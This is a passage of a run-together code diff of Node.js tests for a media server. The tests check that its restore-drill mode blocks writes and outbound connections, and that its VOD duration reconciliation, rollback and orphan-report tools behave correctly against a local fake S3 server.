`/api/v2/live/objects/${objectId}/content`, 'raw bytes'], ['POST', '/api/v2/live/jobs', { type: 'thumbnail' }],++ ['POST', '/api/v1/live/admin/storage/tiers/sweep', {}], ['POST', '/internal/avatar-ingest', {}], ['PATCH', '/api/v1/live/vods/1', {}],++ ['POST', '/release-metrics', { counts: { reloaded: { user: 1 } } }],++ ];++ for (const [m, p, body] of writes) {++ const r = await request(m, p, { headers: auth, body });++ assert.strictEqual(r.status, 403, `${m} ${p}: ${r.status}`);++ assert.strictEqual(r.json && r.json.code, 'media.drill_read_only', `${m} ${p}`);++ }++ const login = await request('GET', '/auth/login');++ assert.strictEqual(login.status, 503);++ // The object explorer signs nobody in either, and verifies no token (that would ask Network for its key).++ const mine = await request('GET', '/api/v2/me/objects', { headers: { Cookie: 'ov_token=a.b.c' } });++ assert.deepStrictEqual([mine.status, mine.json && mine.json.code], [503, 'media.drill_no_sign_in']);++ const mePage = await request('GET', '/me', { headers: { Cookie: 'ov_token=a.b.c' } });++ assert.ok(mePage.status === 503 && mePage.text.includes('restore-drill'), `/me: ${mePage.status}`);++ assert.deepStrictEqual(drill.blocked, [], 'nothing tried to leave');++ assert.deepStrictEqual(await counts(), countsBefore);++ });++ await check('webhooks and the Events relay stay off even when called', async () => {++ assert.strictEqual(await require('../server/webhooks').sendWebhook('live', 'vod.ready', { id: 1 }), false);++ assert.strictEqual(require('../server/events').init(), null);++ assert.deepStrictEqual(sinkHits, []);++ });++ await check('the guards refuse a connection, ffmpeg, a listener and a UDP socket', async () => {++ await assert.rejects(fetch('https://openvibe.live/internal/media-webhook'), /fetch failed/);++ const sock = net.connect({ host: '127.0.0.1', port: sink.address().port });++ const err = await new Promise((resolve) => sock.on('error', resolve));++ assert.strictEqual(err.code, 'ECONNREFUSED');++ assert.deepStrictEqual(sinkHits, [], 'the connection never reached the app');++ assert.throws(() => cp.spawn('ffmpeg', ['-version']), (e) => e.code === 'EDRILL');++ assert.throws(() => net.createServer().listen(12000), (e) => e.code === 'EDRILL');++ assert.throws(() => require('dgram').createSocket('udp4'), (e) => e.code === 'EDRILL');++ });++ await check('production\'s files are untouched and the drill created no storage directory', () => {++ assert.deepStrictEqual(snapshot(PROD), prodBefore);++ assert.ok(!fs.existsSync(STORAGE), `${STORAGE} was created`);++ assert.deepStrictEqual(fs.readdirSync(DRILL), [], 'nothing written in the drill directory');++ });-- sink.close();-- try { fs.rmSync(tmp, { recursive: true, force: true }); } catch { /* */ }-- if (failures) { console.error(`\n${failures} drill-mode check(s) failed`); process.exit(1); }-- console.log('\ndrill-mode: all checks passed');-- process.exit(0);++ sink.close();++ try { fs.rmSync(tmp, { recursive: true, force: true }); } catch { /* */ }++ if (failures) { console.error(`\n${failures} drill-mode check(s) failed`); process.exit(1); }++ console.log('\ndrill-mode: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -12,242 +12,243 @@ const path = require('path');const http = require('http');const { spawnSync, execFile } = require('child_process');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-reconcile-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--const runCli = (script, args) => new Promise((resolve) => {-- execFile(process.execPath, [path.join(__dirname, '../scripts', script), ...args], { env: process.env, encoding: 'utf8' },-- (err, stdout, stderr) => resolve({ status: err ? err.code : 0, stdout, stderr }));--});++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-reconcile-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ // In this process: the test database is here (PGlite), and the fake S3 answers while the script awaits it.++ const { runScript } = require('./helpers/run-script');++ const runCli = async (script, args) => { const r = await runScript(path.join(__dirname, '../scripts', script), args); return { status: r.code, stdout: r.out, stderr: r.err }; };--// ── Fake S3: path-style /<bucket>/<key>; HEAD, GET (Range), ListObjectsV2; PUT/DELETE recorded ──--const buckets = { 'b2-bucket': new Map() };--const s3log = [];--const xml = (s) => String(s).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');--const s3 = http.createServer((req, res) => {-- req.resume();-- req.on('end', () => {-- const u = new URL(req.url, 'http://x');-- const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');-- const key = rest.join('/');-- const store = buckets[bucket];-- s3log.push([req.method, bucket, key]);-- if (!store) { res.writeHead(404); return res.end(); }-- if (req.method === 'HEAD' && !key) { res.writeHead(200); return res.end(); } // HeadBucket-- if (req.method === 'GET' && !key && u.searchParams.get('list-type') === '2') {-- const prefix = u.searchParams.get('prefix') || '';-- const keys = [...store.keys()].filter(k => k.startsWith(prefix)).sort();-- res.writeHead(200, { 'Content-Type': 'application/xml' });-- return res.end(`<?xml version="1.0" encoding="UTF-8"?><ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>${bucket}</Name><Prefix>${xml(prefix)}</Prefix><KeyCount>${keys.length}</KeyCount><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated>${-- keys.map(k => `<Contents><Key>${xml(k)}</Key><LastModified>2026-09-21T00:00:00.000Z</LastModified><ETag>"e"</ETag><Size>${store.get(k).length}</Size><StorageClass>STANDARD</StorageClass></Contents>`).join('')}</ListBucketResult>`);-- }-- const obj = store.get(key);-- if (req.method === 'HEAD' || req.method === 'GET') {-- if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }-- const m = /bytes=(\d+)-(\d+)?/.exec(req.headers.range || '');-- if (m && req.method === 'GET') {-- const start = Number(m[1]), end = Math.min(obj.length - 1, m[2] != null ? Number(m[2]) : obj.length - 1);-- if (start >= obj.length) { res.writeHead(416, { 'Content-Range': `bytes */${obj.length}` }); return res.end(); }-- res.writeHead(206, { 'Content-Length': end - start + 1, 'Content-Range': `bytes ${start}-${end}/${obj.length}`, 'Accept-Ranges': 'bytes', ETag: '"e"', 'Content-Type': 'video/mp4' });-- return res.end(obj.subarray(start, end + 1));++ // ── Fake S3: path-style /<bucket>/<key>; HEAD, GET (Range), ListObjectsV2; PUT/DELETE recorded ──++ const buckets = { 'b2-bucket': new Map() };++ const s3log = [];++ const xml = (s) => String(s).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');++ const s3 = http.createServer((req, res) => {++ req.resume();++ req.on('end', () => {++ const u = new URL(req.url, 'http://x');++ const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');++ const key = rest.join('/');++ const store = buckets[bucket];++ s3log.push([req.method, bucket, key]);++ if (!store) { res.writeHead(404); return res.end(); }++ if (req.method === 'HEAD' && !key) { res.writeHead(200); return res.end(); } // HeadBucket++ if (req.method === 'GET' && !key && u.searchParams.get('list-type') === '2') {++ const prefix = u.searchParams.get('prefix') || '';++ const keys = [...store.keys()].filter(k => k.startsWith(prefix)).sort();++ res.writeHead(200, { 'Content-Type': 'application/xml' });++ return res.end(`<?xml version="1.0" encoding="UTF-8"?><ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>${bucket}</Name><Prefix>${xml(prefix)}</Prefix><KeyCount>${keys.length}</KeyCount><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated>${++ keys.map(k => `<Contents><Key>${xml(k)}</Key><LastModified>2026-09-21T00:00:00.000Z</LastModified><ETag>"e"</ETag><Size>${store.get(k).length}</Size><StorageClass>STANDARD</StorageClass></Contents>`).join('')}</ListBucketResult>`);}-- res.writeHead(200, { 'Content-Length': obj.length, 'Accept-Ranges': 'bytes', ETag: '"e"', 'Content-Type': 'video/mp4' });-- return res.end(req.method === 'GET' ? obj : undefined);-- }-- res.writeHead(405); res.end();-- });--});----(async () => {-- await new Promise((r) => s3.listen(0, '127.0.0.1', r));-- const endpoint = `http://127.0.0.1:${s3.address().port}`;-- Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'data', 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),-- MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',-- MEDIA_INVARIANT_SCAN_HOURS: '0', MEDIA_JOBS_ENABLED: '0',++ const obj = store.get(key);++ if (req.method === 'HEAD' || req.method === 'GET') {++ if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }++ const m = /bytes=(\d+)-(\d+)?/.exec(req.headers.range || '');++ if (m && req.method === 'GET') {++ const start = Number(m[1]), end = Math.min(obj.length - 1, m[2] != null ? Number(m[2]) : obj.length - 1);++ if (start >= obj.length) { res.writeHead(416, { 'Content-Range': `bytes */${obj.length}` }); return res.end(); }++ res.writeHead(206, { 'Content-Length': end - start + 1, 'Content-Range': `bytes ${start}-${end}/${obj.length}`, 'Accept-Ranges': 'bytes', ETag: '"e"', 'Content-Type': 'video/mp4' });++ return res.end(obj.subarray(start, end + 1));++ }++ res.writeHead(200, { 'Content-Length': obj.length, 'Accept-Ranges': 'bytes', ETag: '"e"', 'Content-Type': 'video/mp4' });++ return res.end(req.method === 'GET' ? obj : undefined);++ }++ res.writeHead(405); res.end();++ });});-- const db = require('../server/db/database');-- const reconcile = require('../server/vod/duration-reconcile');-- const orphans = require('../server/vod/orphans-report');-- db.upsertApp({ app_id: 'live', api_key: 'live-key' });-- // ── 1. classify ──-- assert.strictEqual(reconcile.classify(600, 601.5), 'ok');-- assert.strictEqual(reconcile.classify(600, 640), 'mismatch', '40 s off is reported, not repaired');-- assert.strictEqual(reconcile.classify(3600, 600), 'wrong');-- assert.strictEqual(reconcile.classify(20000, 19800), 'mismatch', '200 s off a 5.5 h VOD (1%) is a mismatch, not wrong');-- assert.strictEqual(reconcile.classify(0, 12), 'missing');-- assert.strictEqual(reconcile.classify(100, 0), 'unmeasurable');-- console.log('✅ classify: ok within 2 s; wrong only past 60 s and 2%; missing when nothing is stored');++ (async () => {++ await new Promise((r) => s3.listen(0, '127.0.0.1', r));++ const endpoint = `http://127.0.0.1:${s3.address().port}`;++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'data', 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),++ MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',++ MEDIA_INVARIANT_SCAN_HOURS: '0', MEDIA_JOBS_ENABLED: '0',++ });++ const db = require('../server/db/database');++ const reconcile = require('../server/vod/duration-reconcile');++ const orphans = require('../server/vod/orphans-report');++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });-- const hasFfmpeg = spawnSync('ffmpeg', ['-version']).status === 0;-- const mk = (file, secs) => {-- const r = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', `testsrc=duration=${secs}:size=160x120:rate=10`, '-f', 'lavfi', '-i', `sine=frequency=440:duration=${secs}`,-- '-c:v', 'libx264', '-pix_fmt', 'yuv420p', '-c:a', 'aac', '-shortest', '-movflags', '+faststart', file]);-- assert.strictEqual(r.status, 0, String(r.stderr));-- return fs.readFileSync(file);-- };-- const insVod = (o) => Number(db.run(`INSERT INTO vods (app_id, title, file_path, file_size, duration_seconds, duration_source, storage_provider, storage_key, health_status, is_recording, is_public, visibility)-- VALUES ('live', ?, ?, ?, ?, ?, ?, ?, ?, 0, 1, 'public')`, [o.title || 't', o.file, o.size || 1000, o.stored, o.source ?? null, o.provider || 'local', o.key || null, o.health || 'ok']).lastInsertRowid);-- const vod = (id) => db.get('SELECT * FROM vods WHERE id = ?', [id]);++ // ── 1. classify ──++ assert.strictEqual(reconcile.classify(600, 601.5), 'ok');++ assert.strictEqual(reconcile.classify(600, 640), 'mismatch', '40 s off is reported, not repaired');++ assert.strictEqual(reconcile.classify(3600, 600), 'wrong');++ assert.strictEqual(reconcile.classify(20000, 19800), 'mismatch', '200 s off a 5.5 h VOD (1%) is a mismatch, not wrong');++ assert.strictEqual(reconcile.classify(0, 12), 'missing');++ assert.strictEqual(reconcile.classify(100, 0), 'unmeasurable');++ console.log('✅ classify: ok within 2 s; wrong only past 60 s and 2%; missing when nothing is stored');-- let ids = {};-- if (!hasFfmpeg) {-- console.log('measurement checks: skipped (ffmpeg not found; the orphan report still runs)');-- } else {-- const V = process.env.VOD_PATH;-- mk(path.join(V, 'a.mp4'), 6);-- mk(path.join(V, 'b.mp4'), 6);-- const cBytes = mk(path.join(tmp, 'c.mp4'), 8);-- buckets['b2-bucket'].set('vods/c.mp4', cBytes); // offloaded: no local file-- mk(path.join(V, 'd.mp4'), 6);-- mk(path.join(V, 'e.mp4'), 6);-- fs.writeFileSync(path.join(V, 'g.mp4'), Buffer.alloc(30000, 3)); // unreadable-- ids = {-- ok: insVod({ file: path.join(V, 'a.mp4'), stored: 6, source: 'probe' }),-- wallClock: insVod({ file: path.join(V, 'b.mp4'), stored: 3600 }),-- remote: insVod({ file: '/old/host/path/c.mp4', stored: 99999, provider: 'b2', key: 'vods/c.mp4' }),-- missing: insVod({ file: path.join(V, 'd.mp4'), stored: 0 }),-- small: insVod({ file: path.join(V, 'e.mp4'), stored: 9, source: 'probe' }),-- skipped: insVod({ file: path.join(V, 'f.mp4'), stored: 50, health: 'missing_file' }),-- unreadable: insVod({ file: path.join(V, 'g.mp4'), stored: 120 }),++ const hasFfmpeg = spawnSync('ffmpeg', ['-version']).status === 0;++ const mk = (file, secs) => {++ const r = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', `testsrc=duration=${secs}:size=160x120:rate=10`, '-f', 'lavfi', '-i', `sine=frequency=440:duration=${secs}`,++ '-c:v', 'libx264', '-pix_fmt', 'yuv420p', '-c:a', 'aac', '-shortest', '-movflags', '+faststart', file]);++ assert.strictEqual(r.status, 0, String(r.stderr));++ return fs.readFileSync(file);};++ const insVod = async (o) => Number((await db.run(`INSERT INTO vods (app_id, title, file_path, file_size, duration_seconds, duration_source, storage_provider, storage_key, health_status, is_recording, is_public, visibility)++ VALUES ('live', ?, ?, ?, ?, ?, ?, ?, ?, 0, 1, 'public') RETURNING id`, [o.title || 't', o.file, o.size || 1000, o.stored, o.source ?? null, o.provider || 'local', o.key || null, o.health || 'ok'])).lastInsertRowid);++ const vod = async (id) => await db.get('SELECT * FROM vods WHERE id = ?', [id]);++++ let ids = {};++ if (!hasFfmpeg) {++ console.log('measurement checks: skipped (ffmpeg not found; the orphan report still runs)');++ } else {++ const V = process.env.VOD_PATH;++ mk(path.join(V, 'a.mp4'), 6);++ mk(path.join(V, 'b.mp4'), 6);++ const cBytes = mk(path.join(tmp, 'c.mp4'), 8);++ buckets['b2-bucket'].set('vods/c.mp4', cBytes); // offloaded: no local file++ mk(path.join(V, 'd.mp4'), 6);++ mk(path.join(V, 'e.mp4'), 6);++ fs.writeFileSync(path.join(V, 'g.mp4'), Buffer.alloc(30000, 3)); // unreadable++ ids = {++ ok: await insVod({ file: path.join(V, 'a.mp4'), stored: 6, source: 'probe' }),++ wallClock: await insVod({ file: path.join(V, 'b.mp4'), stored: 3600 }),++ remote: await insVod({ file: '/old/host/path/c.mp4', stored: 99999, provider: 'b2', key: 'vods/c.mp4' }),++ missing: await insVod({ file: path.join(V, 'd.mp4'), stored: 0 }),++ small: await insVod({ file: path.join(V, 'e.mp4'), stored: 9, source: 'probe' }),++ skipped: await insVod({ file: path.join(V, 'f.mp4'), stored: 50, health: 'missing_file' }),++ unreadable: await insVod({ file: path.join(V, 'g.mp4'), stored: 120 }),++ };-- // ── 2. Dry run: measures local and remote, changes nothing ──-- const before = db.all('SELECT id, duration_seconds, duration_source FROM vods ORDER BY id');-- const dry = await reconcile.reconcileBatch({ appId: 'live', afterId: 0, limit: 50 });-- assert.deepStrictEqual(db.all('SELECT id, duration_seconds, duration_source FROM vods ORDER BY id'), before, 'a dry run writes nothing');-- const by = Object.fromEntries(dry.rows.map(r => [r.vod_id, r]));-- assert.strictEqual(by[ids.ok].verdict, 'ok');-- assert.deepStrictEqual([by[ids.wallClock].verdict, by[ids.wallClock].action, by[ids.wallClock].confirmed], ['wrong', 'would_repair', true]);-- assert.strictEqual(by[ids.remote].where, 'b2', 'the offloaded copy is measured in B2');-- assert.deepStrictEqual([by[ids.remote].verdict, by[ids.remote].action], ['wrong', 'would_repair']);-- assert.ok(Math.abs(by[ids.remote].measured - 8) < 0.6, `remote measured ${by[ids.remote].measured}`);-- assert.ok(s3log.some(([m, , k]) => m === 'GET' && k === 'vods/c.mp4'), 'read through a presigned GET');-- assert.ok(!s3log.some(([m]) => m === 'PUT' || m === 'DELETE'));-- assert.deepStrictEqual([by[ids.missing].verdict, by[ids.missing].action], ['missing', 'would_repair']);-- assert.deepStrictEqual([by[ids.small].verdict, by[ids.small].action], ['mismatch', 'none'], 'a 3 s difference is reported only');-- assert.strictEqual(by[ids.skipped].verdict, 'skipped');-- assert.strictEqual(by[ids.unreadable].verdict, 'unmeasurable');-- assert.strictEqual(dry.counts.would_repair, 3);-- assert.strictEqual(dry.counts.remote, 1);-- console.log('✅ dry run: local files and the B2 copy (presigned ranged read) measured, 3 repairs proposed, nothing written');++ // ── 2. Dry run: measures local and remote, changes nothing ──++ const before = await db.all('SELECT id, duration_seconds, duration_source FROM vods ORDER BY id');++ const dry = await reconcile.reconcileBatch({ appId: 'live', afterId: 0, limit: 50 });++ assert.deepStrictEqual(await db.all('SELECT id, duration_seconds, duration_source FROM vods ORDER BY id'), before, 'a dry run writes nothing');++ const by = Object.fromEntries(dry.rows.map(r => [r.vod_id, r]));++ assert.strictEqual(by[ids.ok].verdict, 'ok');++ assert.deepStrictEqual([by[ids.wallClock].verdict, by[ids.wallClock].action, by[ids.wallClock].confirmed], ['wrong', 'would_repair', true]);++ assert.strictEqual(by[ids.remote].where, 'b2', 'the offloaded copy is measured in B2');++ assert.deepStrictEqual([by[ids.remote].verdict, by[ids.remote].action], ['wrong', 'would_repair']);++ assert.ok(Math.abs(by[ids.remote].measured - 8) < 0.6, `remote measured ${by[ids.remote].measured}`);++ assert.ok(s3log.some(([m, , k]) => m === 'GET' && k === 'vods/c.mp4'), 'read through a presigned GET');++ assert.ok(!s3log.some(([m]) => m === 'PUT' || m === 'DELETE'));++ assert.deepStrictEqual([by[ids.missing].verdict, by[ids.missing].action], ['missing', 'would_repair']);++ assert.deepStrictEqual([by[ids.small].verdict, by[ids.small].action], ['mismatch', 'none'], 'a 3 s difference is reported only');++ assert.strictEqual(by[ids.skipped].verdict, 'skipped');++ assert.strictEqual(by[ids.unreadable].verdict, 'unmeasurable');++ assert.strictEqual(dry.counts.would_repair, 3);++ assert.strictEqual(dry.counts.remote, 1);++ console.log('✅ dry run: local files and the B2 copy (presigned ranged read) measured, 3 repairs proposed, nothing written');-- // ── 3. Bounded batches and --apply through the job, then rollback ──-- const small = await reconcile.reconcileBatch({ appId: 'live', afterId: 0, limit: 2 });-- assert.deepStrictEqual([small.rows.length, small.range.last_id, small.range.done], [2, ids.wallClock, false]);-- const queue = require('../server/jobs/queue');-- const worker = require('../server/jobs/worker');-- const spec = queue.typeSpec('vod.duration.reconcile');-- assert.throws(() => spec.validate({ obj: null, params: { limit: 500 } }), /limit/);-- const params = spec.validate({ obj: null, params: { limit: 4, apply: true } });-- let j = queue.enqueue({ appId: 'live', type: 'vod.duration.reconcile', params, createdBy: 'test' }).job;-- j = await worker.runNow(j.id);-- assert.strictEqual(j.status, 'succeeded', j.error);-- let res = JSON.parse(j.result);-- assert.deepStrictEqual([res.mode, res.counts.checked, res.counts.repaired, res.next_after_id], ['apply', 4, 3, ids.missing]);-- assert.ok(fs.existsSync(path.join(path.dirname(process.env.DB_PATH), 'reports', res.report)), 'the report is written');-- assert.deepStrictEqual([vod(ids.wallClock).duration_seconds, vod(ids.wallClock).duration_source], [6, 'probe']);-- assert.deepStrictEqual([vod(ids.remote).duration_seconds, vod(ids.remote).duration_source], [8, 'probe']);-- assert.deepStrictEqual([vod(ids.missing).duration_seconds, vod(ids.missing).duration_source], [6, 'probe']);-- assert.strictEqual(db.getSetting('duration_reconcile.cursor.live'), ids.missing, 'the cursor is kept for the next run');-- const obj = db.get('SELECT metadata FROM media_objects WHERE id = ?', [vod(ids.wallClock).object_id]);-- assert.strictEqual(JSON.parse(obj.metadata).duration_seconds, 6, 'the object is re-projected');-- j = queue.enqueue({ appId: 'live', type: 'vod.duration.reconcile', params: spec.validate({ obj: null, params: { limit: 4, apply: true } }), createdBy: 'test2' }).job;-- res = JSON.parse((await worker.runNow(j.id)).result);-- assert.deepStrictEqual([res.range.after_id, res.counts.checked, res.range.done, res.next_after_id], [ids.missing, 3, true, 0], 'continues, reaches the end, wraps');-- const report = JSON.parse(fs.readFileSync(path.join(path.dirname(process.env.DB_PATH), 'reports', JSON.parse(queue.list('live', { type: 'vod.duration.reconcile' }).jobs.slice(-1)[0].result).report), 'utf8'));-- const rb0 = reconcile.rollback(report.rows);-- assert.deepStrictEqual(rb0, { restored: 0, would_restore: 3, changed_since: 0 });-- const rb = reconcile.rollback(report.rows, { apply: true });-- assert.strictEqual(rb.restored, 3);-- assert.deepStrictEqual([vod(ids.wallClock).duration_seconds, vod(ids.wallClock).duration_source], [3600, null], 'rolled back');-- console.log('✅ the job repairs confirmed values in bounded batches, keeps its cursor, writes a report; the report rolls back');++ // ── 3. Bounded batches and --apply through the job, then rollback ──++ const small = await reconcile.reconcileBatch({ appId: 'live', afterId: 0, limit: 2 });++ assert.deepStrictEqual([small.rows.length, small.range.last_id, small.range.done], [2, ids.wallClock, false]);++ const queue = require('../server/jobs/queue');++ const worker = require('../server/jobs/worker');++ const spec = queue.typeSpec('vod.duration.reconcile');++ assert.throws(() => spec.validate({ obj: null, params: { limit: 500 } }), /limit/);++ const params = spec.validate({ obj: null, params: { limit: 4, apply: true } });++ let j = (await queue.enqueue({ appId: 'live', type: 'vod.duration.reconcile', params, createdBy: 'test' })).job;++ j = await worker.runNow(j.id);++ assert.strictEqual(j.status, 'succeeded', j.error);++ let res = JSON.parse(j.result);++ assert.deepStrictEqual([res.mode, res.counts.checked, res.counts.repaired, res.next_after_id], ['apply', 4, 3, ids.missing]);++ assert.ok(fs.existsSync(path.join(path.dirname(process.env.DB_PATH), 'reports', res.report)), 'the report is written');++ assert.deepStrictEqual([(await vod(ids.wallClock)).duration_seconds, (await vod(ids.wallClock)).duration_source], [6, 'probe']);++ assert.deepStrictEqual([(await vod(ids.remote)).duration_seconds, (await vod(ids.remote)).duration_source], [8, 'probe']);++ assert.deepStrictEqual([(await vod(ids.missing)).duration_seconds, (await vod(ids.missing)).duration_source], [6, 'probe']);++ assert.strictEqual(await db.getSetting('duration_reconcile.cursor.live'), ids.missing, 'the cursor is kept for the next run');++ const obj = await db.get('SELECT metadata FROM media_objects WHERE id = ?', [(await vod(ids.wallClock)).object_id]);++ assert.strictEqual(JSON.parse(obj.metadata).duration_seconds, 6, 'the object is re-projected');++ j = (await queue.enqueue({ appId: 'live', type: 'vod.duration.reconcile', params: spec.validate({ obj: null, params: { limit: 4, apply: true } }), createdBy: 'test2' })).job;++ res = JSON.parse((await worker.runNow(j.id)).result);++ assert.deepStrictEqual([res.range.after_id, res.counts.checked, res.range.done, res.next_after_id], [ids.missing, 3, true, 0], 'continues, reaches the end, wraps');++ const report = JSON.parse(fs.readFileSync(path.join(path.dirname(process.env.DB_PATH), 'reports', JSON.parse((await queue.list('live', { type: 'vod.duration.reconcile' })).jobs.slice(-1)[0].result).report), 'utf8'));++ const rb0 = await reconcile.rollback(report.rows);++ assert.deepStrictEqual(rb0, { restored: 0, would_restore: 3, changed_since: 0 });++ const rb = await reconcile.rollback(report.rows, { apply: true });++ assert.strictEqual(rb.restored, 3);++ assert.deepStrictEqual([(await vod(ids.wallClock)).duration_seconds, (await vod(ids.wallClock)).duration_source], [3600, null], 'rolled back');++ console.log('✅ the job repairs confirmed values in bounded batches, keeps its cursor, writes a report; the report rolls back');-- // ── 4. The script: dry run by default, --apply needs --backup, --rollback ──-- let r = await runCli('vod-duration-reconcile.js', ['--app', 'live', '--all', '--batch', '3']);-- assert.strictEqual(r.status, 0, r.stderr);-- assert.ok(/Would repair 3/.test(r.stdout), r.stdout);-- assert.strictEqual(vod(ids.wallClock).duration_seconds, 3600, 'dry run changed nothing');-- r = await runCli('vod-duration-reconcile.js', ['--apply']);-- assert.strictEqual(r.status, 2, 'apply without a backup is refused');-- const backup = path.join(tmp, 'bk', 'reconcile.json');-- r = await runCli('vod-duration-reconcile.js', ['--app', 'live', '--all', '--apply', '--backup', backup]);-- assert.strictEqual(r.status, 0, r.stderr);-- assert.ok(fs.existsSync(backup) && fs.existsSync(backup.replace(/\.json$/, '.media.db')), 'rollback file and database copy');-- assert.strictEqual(vod(ids.wallClock).duration_seconds, 6);-- r = await runCli('vod-duration-reconcile.js', ['--app', 'live', '--apply', '--backup', backup]);-- assert.strictEqual(r.status, 2, 'never overwrites a backup');-- r = await runCli('vod-duration-reconcile.js', ['--rollback', backup]);-- assert.ok(/Would restore 3/.test(r.stdout), r.stdout);-- r = await runCli('vod-duration-reconcile.js', ['--rollback', backup, '--apply']);-- assert.ok(/Restored 3/.test(r.stdout), r.stdout);-- assert.strictEqual(vod(ids.wallClock).duration_seconds, 3600);-- console.log('✅ scripts/vod-duration-reconcile.js: dry run by default, --apply with a checked backup, --rollback');-- }++ // ── 4. The script: dry run by default, --apply needs --backup, --rollback ──++ let r = await runCli('vod-duration-reconcile.js', ['--app', 'live', '--all', '--batch', '3']);++ assert.strictEqual(r.status, 0, r.stderr);++ assert.ok(/Would repair 3/.test(r.stdout), r.stdout);++ assert.strictEqual((await vod(ids.wallClock)).duration_seconds, 3600, 'dry run changed nothing');++ r = await runCli('vod-duration-reconcile.js', ['--apply']);++ assert.strictEqual(r.status, 2, 'apply without a backup is refused');++ const backup = path.join(tmp, 'bk', 'reconcile.json');++ r = await runCli('vod-duration-reconcile.js', ['--app', 'live', '--all', '--apply', '--backup', backup]);++ assert.strictEqual(r.status, 0, r.stderr);++ assert.ok(fs.existsSync(backup), 'the rollback file');++ assert.strictEqual((await vod(ids.wallClock)).duration_seconds, 6);++ r = await runCli('vod-duration-reconcile.js', ['--app', 'live', '--apply', '--backup', backup]);++ assert.strictEqual(r.status, 2, 'never overwrites a backup');++ r = await runCli('vod-duration-reconcile.js', ['--rollback', backup]);++ assert.ok(/Would restore 3/.test(r.stdout), r.stdout);++ r = await runCli('vod-duration-reconcile.js', ['--rollback', backup, '--apply']);++ assert.ok(/Restored 3/.test(r.stdout), r.stdout);++ assert.strictEqual((await vod(ids.wallClock)).duration_seconds, 3600);++ console.log('✅ scripts/vod-duration-reconcile.js: dry run by default, --apply with a rollback file, --rollback');++ }-- // ── 5. vods-orphans/ report: matches and recommendations, read-only ──-- {-- const B = buckets['b2-bucket'];-- const V = process.env.VOD_PATH;-- const bytes = (n, fill) => Buffer.alloc(n, fill);-- // canonical present, same size → duplicate-- const dupId = insVod({ file: '/x/vod-live-501-1726900000001.mp4', stored: 10, provider: 'b2' });-- B.set('vods/vod-live-501-1726900000001.mp4', bytes(5000, 1));-- B.set('vods-orphans/vod-live-501-1726900000001.mp4', bytes(5000, 1));-- // canonical present, other size → review-- insVod({ file: '/x/vod-live-502-1726900000002.mp4', stored: 10, provider: 'b2' });-- B.set('vods/vod-live-502-1726900000002.mp4', bytes(4000, 2));-- B.set('vods-orphans/vod-live-502-1726900000002.mp4', bytes(4500, 2));-- // no canonical, no local → the only copy-- const onlyId = insVod({ file: '/x/vod-live-503-1726900000003.mp4', stored: 10, provider: 'b2' });-- B.set('vods-orphans/vod-live-503-1726900000003.mp4', bytes(3000, 3));-- // still local with the same size → keep until offloaded-- fs.writeFileSync(path.join(V, 'vod-live-504-1726900000004.mp4'), bytes(2000, 4));-- insVod({ file: path.join(V, 'vod-live-504-1726900000004.mp4'), stored: 10 });-- B.set('vods-orphans/vod-live-504-1726900000004.mp4', bytes(2000, 4));-- // the row is gone (its object says when)-- B.set('vods-orphans/vod-live-9999-1726900000005.mp4', bytes(1000, 5));-- db.run(`INSERT INTO media_objects (id, app_id, namespace, kind, lifecycle_status, legacy_ref, deleted_at) VALUES ('med_01TESTGONE000000000000000A', 'live', 'live', 'vod', 'deleted', 'legacy:live:vod:9999', '2026-09-20 10:00:00')`);-- // a name that matches nothing-- B.set('vods-orphans/notes.txt', bytes(10, 6));-- // a row whose storage_key points INTO the prefix: that object is the canonical copy-- const keyedId = insVod({ file: '/x/vod-live-506-1726900000006.mp4', stored: 10, provider: 'b2', key: 'vods-orphans/vod-live-506-1726900000006.mp4' });-- B.set('vods-orphans/vod-live-506-1726900000006.mp4', bytes(700, 7));++ // ── 5. vods-orphans/ report: matches and recommendations, read-only ──++ {++ const B = buckets['b2-bucket'];++ const V = process.env.VOD_PATH;++ const bytes = (n, fill) => Buffer.alloc(n, fill);++ // canonical present, same size → duplicate++ const dupId = await insVod({ file: '/x/vod-live-501-1726900000001.mp4', stored: 10, provider: 'b2' });++ B.set('vods/vod-live-501-1726900000001.mp4', bytes(5000, 1));++ B.set('vods-orphans/vod-live-501-1726900000001.mp4', 